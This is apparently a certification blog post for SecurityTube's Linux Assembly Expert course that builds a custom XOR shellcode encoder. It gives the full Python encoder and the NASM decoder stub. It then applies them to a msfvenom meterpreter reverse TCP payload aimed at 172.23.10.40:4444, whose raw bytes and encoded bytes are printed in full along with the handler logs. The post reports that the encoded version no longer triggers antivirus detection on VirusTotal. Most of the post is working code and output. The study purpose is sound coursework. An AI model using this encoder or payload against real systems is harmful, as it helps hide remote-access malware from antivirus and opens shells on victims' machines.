Custom shellcode encoder
A shellcode encoder can be used for different purposes such as modify an existing shellcode to make it harder to detect by AV engines or simply avoid bad characters (such as null-bytes).
The encoder itself doesn’t provide any real security however since the obfuscation scheme is built into the code and is therefore reversible by anyone who has access to the encoded shellcode. This should not be confused with encryption, where security is based on the key and not the secrecy of the encryption scheme.
In this post, we go over a simple encoder that performs the following:
- The encoder pads the shellcode with NOP opcodes so it is 4 bytes aligned
- A random byte is generated for each 4 bytes of the shellcode
- The 4 bytes are put in the reverse order and XORed with the XOR byte
- Process is repeated until the
0x9090aaaa
marker is reached
The following diagram explains the process:
To encode the shellcode, a Python script is used and reads the shellcode from the input file in \xFF\xEE\xDD...
format. As explained earlier, a XOR byte is randomly chosen for each 4 bytes tuple. If any of the encoded bytes end up being XORed to \x00, another random XOR byte is chosen instead to avoid nulls being insert in the final shellcode.
A marker is added at the end of the shellcode so the length of the encoded shellcode doesn’t need to be included in the decoder stub.
The code of the encoder is shown here:
#!/usr/bin/python
import random
import socket
import struct
import sys
# Decoder stub
decoder_stub = "\xeb\x57\x31\xc0\x31\xdb\x31\xc9"
decoder_stub += "\x31\xd2\x5e\xbf\x90\x90\xaa\xaa"
decoder_stub += "\x83\xec\x7f\x83\xec\x7f\x83\xec"
decoder_stub += "\x7f\x83\xec\x7f\x8a\x5c\x16\x01"
decoder_stub += "\x8a\x7c\x16\x02\x8a\x4c\x16\x03"
decoder_stub += "\x8a\x6c\x16\x04\x32\x1c\x16\x32"
decoder_stub += "\x3c\x16\x32\x0c\x16\x32\x2c\x16"
decoder_stub += "\x88\x2c\x04\x88\x4c\x04\x01\x88"
decoder_stub += "\x7c\x04\x02\x88\x5c\x04\x03\x39"
decoder_stub += "\x7c\x16\x05\x74\x0a\x42\x42\x42"
decoder_stub += "\x42\x42\x83\xc0\x04\x75\xc5\xff"
decoder_stub += "\xe4\xe8\xa4\xff\xff\xff"
# Seed PRNG (don't use this for real crypto)
random.seed()
if len(sys.argv) < 2:
print('Usage: {name} [shellcode_file]'.format(name = sys.argv[0]))
exit(1)
shellcode_file = sys.argv[1]
# Read shellcode from file in '\xFF\xEE\xDD' format
with open(shellcode_file) as f:
shellcode_original = bytearray.fromhex(f.read().strip().replace('\\x',''))
# If shellcode is not 4 bytes aligned, adding padding bytes at the end
if len(shellcode_original) % 4 != 0:
padding = 4 - (len(shellcode_original) % 4)
else:
padding = 0
if padding:
print('[+] Shellcode not 4 bytes aligned, adding {} \\x90 bytes of padding...'.format(padding))
for i in range(0, padding):
shellcode_original.append(0x90)
shellcode_encoded = bytearray()
# Process 4 bytes at a time
for i in range(0, len(shellcode_original), 4):
xor_byte_good = False
while(xor_byte_good == False):
# Generate random XOR byte
r = random.randint(1,255)
# Check that resulting shellcode doesn't contain null bytes
if (r ^ shellcode_original[i] != 0) and (r ^ shellcode_original[i+1] != 0) and (r ^ shellcode_original[i+2] != 0) and (r ^ shellcode_original[i+3] != 0):
xor_byte_good = True
# Encoded shellcode contains XOR byte + next 4 bytes reversed
shellcode_encoded.append(r)
shellcode_encoded.append(shellcode_original[i+3] ^ r)
shellcode_encoded.append(shellcode_original[i+2] ^ r)
shellcode_encoded.append(shellcode_original[i+1] ^ r)
shellcode_encoded.append(shellcode_original[i] ^ r)
# Add end of shellcode marker
shellcode_encoded.append(0x90)
shellcode_encoded.append(0x90)
shellcode_encoded.append(0xaa)
shellcode_encoded.append(0xaa)
# Print out the output
decoder_stub_hex = ''.join('\\x{}'.format(hex(ord(x))[2:]) for x in decoder_stub)
shellcode_original_hex = ''.join('\\x{:02x}'.format(x) for x in shellcode_original)
shellcode_encoded_hex = ''.join('\\x{:02x}'.format(x) for x in shellcode_encoded)
shellcode_encoded_nasm = ''.join('0x{:02x},'.format(x) for x in shellcode_encoded).rstrip(',')
print('[+] Original shellcode (len: {}): {}\n'.format(len(shellcode_original), shellcode_original_hex))
print('[+] Encoded shellcode (len: {}): {}\n'.format(len(shellcode_encoded), shellcode_encoded_hex))
print('[+] Encoded shell in NASM format: {}\n'.format(shellcode_encoded_nasm))
print('[+] Encoded shellcode /w decoder stub (len: {}): {}\n'.format(len(decoder_stub) + len(shellcode_encoded), decoder_stub_hex + shellcode_encoded_hex))
The decoder uses the JMP CALL POP technique to push the address of the encoded shellcode on the stack. The decoder stub then makes room for 512 bytes on the stack by decreasing $esp
by 512.
We use the $edx
to keep track of the offset from the start of the encoded shellcode.
For each 4 bytes tuple, the bytes are stored as follows:
- 1st byte:
$bl
- 2nd byte:
$bh
- 3rd byte:
$cl
- 4th byte:
$ch
Then we XOR each byte with the key, located at [$esi + $edx]
and store the results on the stack in reverse order. After each tuple is decoded, the decoder stub checks if the marker is reached and jumps to the shellcode on the stack if that’s the case.
The complete decoder stub code if shown here:
global _start
section .text
_start:
jmp short call_shellcode
decoder:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
pop esi ; address of shellcode
mov edi, 0xaaaa9090 ; end of shellcode marker
sub esp, 0x7f ; make room on the stack (512 bytes)
sub esp, 0x7f ; make room on the stack
sub esp, 0x7f ; make room on the stack
sub esp, 0x7f ; make room on the stack
decode:
mov bl, byte [esi + edx + 1] ; read 1st encoded byte
mov bh, byte [esi + edx + 2] ; read 2nd encoded byte
mov cl, byte [esi + edx + 3] ; read 3rd encoded byte
mov ch, byte [esi + edx + 4] ; read 4th encoded byte
xor bl, byte [esi + edx] ; xor with the key byte
xor bh, byte [esi + edx] ; xor with the key byte
xor cl, byte [esi + edx] ; xor with the key byte
xor ch, byte [esi + edx] ; xor with the key byte
mov byte [esp + eax], ch ; store in memory in reverse order to restore original shellcode
mov byte [esp + eax + 1], cl ; ..
mov byte [esp + eax + 2], bh ; ..
mov byte [esp + eax + 3], bl ; ..
cmp dword [esi + edx + 5], edi ; check if we have reached the end of shellcode marker
jz execute_shellcode ; if we do, jump to the shellcode and execute it
inc edx
inc edx
inc edx
inc edx
inc edx
add eax, 4
jnz decode
execute_shellcode:
jmp short esp
call_shellcode:
call decoder
encoder_shellcode: db 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa
Testing non-encoded shellcode against Virus Total
To test the encoder and see what effects it has on AV engine detection, I used a meterpreter reverse TCP payload and compiled it using the test C program without any encoding first.
root@ragingbeaver:~# msfvenom -p linux/x86/meterpreter/reverse_tcp -f c LHOST=172.23.10.40 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of c file: 543 bytes
unsigned char buf[] =
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89"
"\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c"
"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0"
"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9"
"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd"
"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80"
"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
"\x00\xcd\x80";
Testing the shellcode with the test program:
slemire@slae:~/slae32/assignment4$ gcc -z execstack -o msf msf.c
slemire@slae:~/slae32/assignment4$ file msf
msf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b36888fc1e3651d37ea86204f44e8d4078f99bd7, not stripped
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.23.10.40:4444
[*] Sending stage (861480 bytes) to 172.23.10.37
[*] Meterpreter session 1 opened (172.23.10.40:4444 -> 127.0.0.1) at 2018-11-22 08:08:36 -0500
When submitted on VirusTotal, the meterpreter payload was picked up by a few AV engines:
Encoded version
Next, the same payload was encoded with the custom encoder:
slemire@slae:~/slae32/assignment4$ ./encoder.py msf_met_reversetcp.txt
[+] Shellcode not 4 bytes aligned, adding 1 \x90 bytes of padding...
[+] Original shellcode (len: 124): \x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x90
[+] Encoded shellcode (len: 159): \x44\x75\x1a\x4e\x2e\x96\xc5\x75\x61\x4d\xcc\xce\xa6\x9f\x8f\xb4\x55\x3d\xd2\x04\x28\x73\xbf\xa8\xe5\xca\xc0\xdd\x66\xa2\xb1\xb1\xb3\xd9\x99\xf0\x11\x79\xac\xe1\x23\x73\x7b\x45\x49\x40\xa1\xc9\x17\x11\xdf\x5a\x5f\x12\x9c\x4b\x05\x52\x32\x8b\xa9\x0b\xc1\x94\xdd\x0a\x52\x0a\x0a\x0a\xb7\xb2\xdd\xb7\xdd\x07\xce\x36\xe4\x8e\xf6\x36\x73\x76\x3b\x45\x62\xae\xf8\x3c\x24\x24\x9d\x23\x96\x9c\x15\x9c\x9c\x8c\xf7\xfb\x1c\x36\x14\x38\x88\x34\xdb\xf9\xcf\x4a\x4f\x02\xb2\x72\x29\x62\x0a\xb2\x88\x3e\x11\x69\x01\x3b\xf6\x38\x8b\x37\x8c\xf4\x4c\x09\x0c\x35\x8d\xd4\xca\x37\xa9\xa9\xa9\xa9\xa8\x65\x65\x65\x64\xde\x9b\x0b\x1b\x56\x9b\x90\x90\xaa\xaa
[+] Encoded shell in NASM format: 0x44,0x75,0x1a,0x4e,0x2e,0x96,0xc5,0x75,0x61,0x4d,0xcc,0xce,0xa6,0x9f,0x8f,0xb4,0x55,0x3d,0xd2,0x04,0x28,0x73,0xbf,0xa8,0xe5,0xca,0xc0,0xdd,0x66,0xa2,0xb1,0xb1,0xb3,0xd9,0x99,0xf0,0x11,0x79,0xac,0xe1,0x23,0x73,0x7b,0x45,0x49,0x40,0xa1,0xc9,0x17,0x11,0xdf,0x5a,0x5f,0x12,0x9c,0x4b,0x05,0x52,0x32,0x8b,0xa9,0x0b,0xc1,0x94,0xdd,0x0a,0x52,0x0a,0x0a,0x0a,0xb7,0xb2,0xdd,0xb7,0xdd,0x07,0xce,0x36,0xe4,0x8e,0xf6,0x36,0x73,0x76,0x3b,0x45,0x62,0xae,0xf8,0x3c,0x24,0x24,0x9d,0x23,0x96,0x9c,0x15,0x9c,0x9c,0x8c,0xf7,0xfb,0x1c,0x36,0x14,0x38,0x88,0x34,0xdb,0xf9,0xcf,0x4a,0x4f,0x02,0xb2,0x72,0x29,0x62,0x0a,0xb2,0x88,0x3e,0x11,0x69,0x01,0x3b,0xf6,0x38,0x8b,0x37,0x8c,0xf4,0x4c,0x09,0x0c,0x35,0x8d,0xd4,0xca,0x37,0xa9,0xa9,0xa9,0xa9,0xa8,0x65,0x65,0x65,0x64,0xde,0x9b,0x0b,0x1b,0x56,0x9b,0x90,0x90,0xaa,0xaa
The shellcode is added to the decoder stub assembly file, compiled and linked:
slemire@slae:~/slae32/assignment4$ ../compile.sh stub_decoder
[+] Assembling with Nasm ...
[+] Linking ...
[+] Shellcode: \xeb\x57\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x5e\xbf\x90\x90\xaa\xaa\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x8a\x5c\x16\x01\x8a\x7c\x16\x02\x8a\x4c\x16\x03\x8a\x6c\x16\x04\x32\x1c\x16\x32\x3c\x16\x32\x0c\x16\x32\x2c\x16\x88\x2c\x04\x88\x4c\x04\x01\x88\x7c\x04\x02\x88\x5c\x04\x03\x39\x7c\x16\x05\x74\x0a\x42\x42\x42\x42\x42\x83\xc0\x04\x75\xc5\xff\xe4\xe8\xa4\xff\xff\xff\x44\x75\x1a\x4e\x2e\x96\xc5\x75\x61\x4d\xcc\xce\xa6\x9f\x8f\xb4\x55\x3d\xd2\x04\x28\x73\xbf\xa8\xe5\xca\xc0\xdd\x66\xa2\xb1\xb1\xb3\xd9\x99\xf0\x11\x79\xac\xe1\x23\x73\x7b\x45\x49\x40\xa1\xc9\x17\x11\xdf\x5a\x5f\x12\x9c\x4b\x05\x52\x32\xa9\x0b\xc1\x94\xdd\x0a\x52\x0a\x0a\x0a\xb7\xb2\xdd\xb7\xdd\x07\xce\x36\xe4\x8e\xf6\x36\x73\x76\x3b\x45\x62\xae\xf8\x3c\x24\x24\x9d\x23\x96\x9c\x15\x9c\x9c\x8c\xf7\xfb\x1c\x36\x14\x38\x88\x34\xdb\xf9\xcf\x4a\x4f\x02\xb2\x72\x29\x62\x0a\xb2\x88\x3e\x11\x69\x01\x3b\xf6\x38\x8b\x37\x8c\xf4\x4c\x09\x0c\x35\x8d\xd4\xca\xa9\xa9\xa9\xa9\xa8\x65\x65\x65\x64\xde\x9b\x1b\x56\x9b\x90\x90\xaa\xaa
[+] Length: 250
[+] Done!
Veryfing that the shellcode still works…
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.23.10.40:4444
[*] Sending stage (861480 bytes) to 172.23.10.37
[*] Meterpreter session 3 opened (127.0.0.1 -> 127.0.0.1) at 2018-11-22 08:16:09 -0500
The file is not picked up by Virus Total anymore:
Automating the creation of the shellcode
We don’t need to manually add the encoded shellcode to the .asm
file every time and re-compile from NASM. The python script has been modified to automatically prepend the decoder stub to the output shellcode so we can just use this in the test C program.
slemire@slae:~/slae32/assignment4$ ./encoder.py msf_met_reversetcp.txt
[+] Shellcode not 4 bytes aligned, adding 1 \x90 bytes of padding...
[+] Original shellcode (len: 124): \x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x90
[+] Encoded shellcode (len: 159): \x45\x74\x1b\x4f\x2f\x45\x16\xa6\xb2\x9e\x93\x91\xf9\xc0\xd0\x22\xc3\xab\x44\x92\xcf\x94\x58\x4f\x02\x94\x9e\x83\x38\xfc\x7c\x7c\x7e\x14\x54\x3a\xdb\xb3\x66\x2b\xd5\x85\x8d\xb3\xbf\xb6\x57\x3f\xe1\xe7\x39\xbc\xb9\xf4\x7a\x2f\x61\x36\x56\xef\x4f\xed\x27\x72\x3b\x9c\xc4\x9c\x9c\x9c\x5c\x59\x36\x5c\x36\x70\xb9\x41\x93\xf9\x17\xd7\x92\x97\xda\x95\xb2\x7e\x28\xec\x77\x77\xce\x70\xc5\xd3\x5a\xd3\xd3\xc3\x14\x18\xff\xd5\xf7\x7e\xce\x72\x9d\xbf\xe4\x61\x64\x29\x99\x67\x3c\x77\x1f\xa7\xa0\x16\x39\x41\x29\xf7\x3a\xf4\x47\xfb\x5c\x24\x9c\xd9\xdc\x3d\x85\xdc\xc2\x3f\x51\x51\x51\x51\x50\x77\x77\x77\x76\xcc\x6f\xff\xef\xa2\x6f\x90\x90\xaa\xaa
[+] Encoded shell in NASM format: 0x45,0x74,0x1b,0x4f,0x2f,0x45,0x16,0xa6,0xb2,0x9e,0x93,0x91,0xf9,0xc0,0xd0,0x22,0xc3,0xab,0x44,0x92,0xcf,0x94,0x58,0x4f,0x02,0x94,0x9e,0x83,0x38,0xfc,0x7c,0x7c,0x7e,0x14,0x54,0x3a,0xdb,0xb3,0x66,0x2b,0xd5,0x85,0x8d,0xb3,0xbf,0xb6,0x57,0x3f,0xe1,0xe7,0x39,0xbc,0xb9,0xf4,0x7a,0x2f,0x61,0x36,0x56,0xef,0x4f,0xed,0x27,0x72,0x3b,0x9c,0xc4,0x9c,0x9c,0x9c,0x5c,0x59,0x36,0x5c,0x36,0x70,0xb9,0x41,0x93,0xf9,0x17,0xd7,0x92,0x97,0xda,0x95,0xb2,0x7e,0x28,0xec,0x77,0x77,0xce,0x70,0xc5,0xd3,0x5a,0xd3,0xd3,0xc3,0x14,0x18,0xff,0xd5,0xf7,0x7e,0xce,0x72,0x9d,0xbf,0xe4,0x61,0x64,0x29,0x99,0x67,0x3c,0x77,0x1f,0xa7,0xa0,0x16,0x39,0x41,0x29,0xf7,0x3a,0xf4,0x47,0xfb,0x5c,0x24,0x9c,0xd9,0xdc,0x3d,0x85,0xdc,0xc2,0x3f,0x51,0x51,0x51,0x51,0x50,0x77,0x77,0x77,0x76,0xcc,0x6f,0xff,0xef,0xa2,0x6f,0x90,0x90,0xaa,0xaa
[+] Encoded shellcode /w decoder stub (len: 253): \xeb\x57\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x5e\xbf\x90\x90\xaa\xaa\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x8a\x5c\x16\x1\x8a\x7c\x16\x2\x8a\x4c\x16\x3\x8a\x6c\x16\x4\x32\x1c\x16\x32\x3c\x16\x32\xc\x16\x32\x2c\x16\x88\x2c\x4\x88\x4c\x4\x1\x88\x7c\x4\x2\x88\x5c\x4\x3\x39\x7c\x16\x5\x74\xa\x42\x42\x42\x42\x42\x83\xc0\x4\x75\xc5\xff\xe4\xe8\xa4\xff\xff\xff\x45\x74\x1b\x4f\x2f\x45\x16\xa6\xb2\x9e\x93\x91\xf9\xc0\xd0\x22\xc3\xab\x44\x92\xcf\x94\x58\x4f\x02\x94\x9e\x83\x38\xfc\x7c\x7c\x7e\x14\x54\x3a\xdb\xb3\x66\x2b\xd5\x85\x8d\xb3\xbf\xb6\x57\x3f\xe1\xe7\x39\xbc\xb9\xf4\x7a\x2f\x61\x36\x56\xef\x4f\xed\x27\x72\x3b\x9c\xc4\x9c\x9c\x9c\x5c\x59\x36\x5c\x36\x70\xb9\x41\x93\xf9\x17\xd7\x92\x97\xda\x95\xb2\x7e\x28\xec\x77\x77\xce\x70\xc5\xd3\x5a\xd3\xd3\xc3\x14\x18\xff\xd5\xf7\x7e\xce\x72\x9d\xbf\xe4\x61\x64\x29\x99\x67\x3c\x77\x1f\xa7\xa0\x16\x39\x41\x29\xf7\x3a\xf4\x47\xfb\x5c\x24\x9c\xd9\xdc\x3d\x85\xdc\xc2\x3f\x51\x51\x51\x51\x50\x77\x77\x77\x76\xcc\x6f\xff\xef\xa2\x6f\x90\x90\xaa\xaa
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1236
All source files can be found on GitHub at https://github.com/slemire/slae32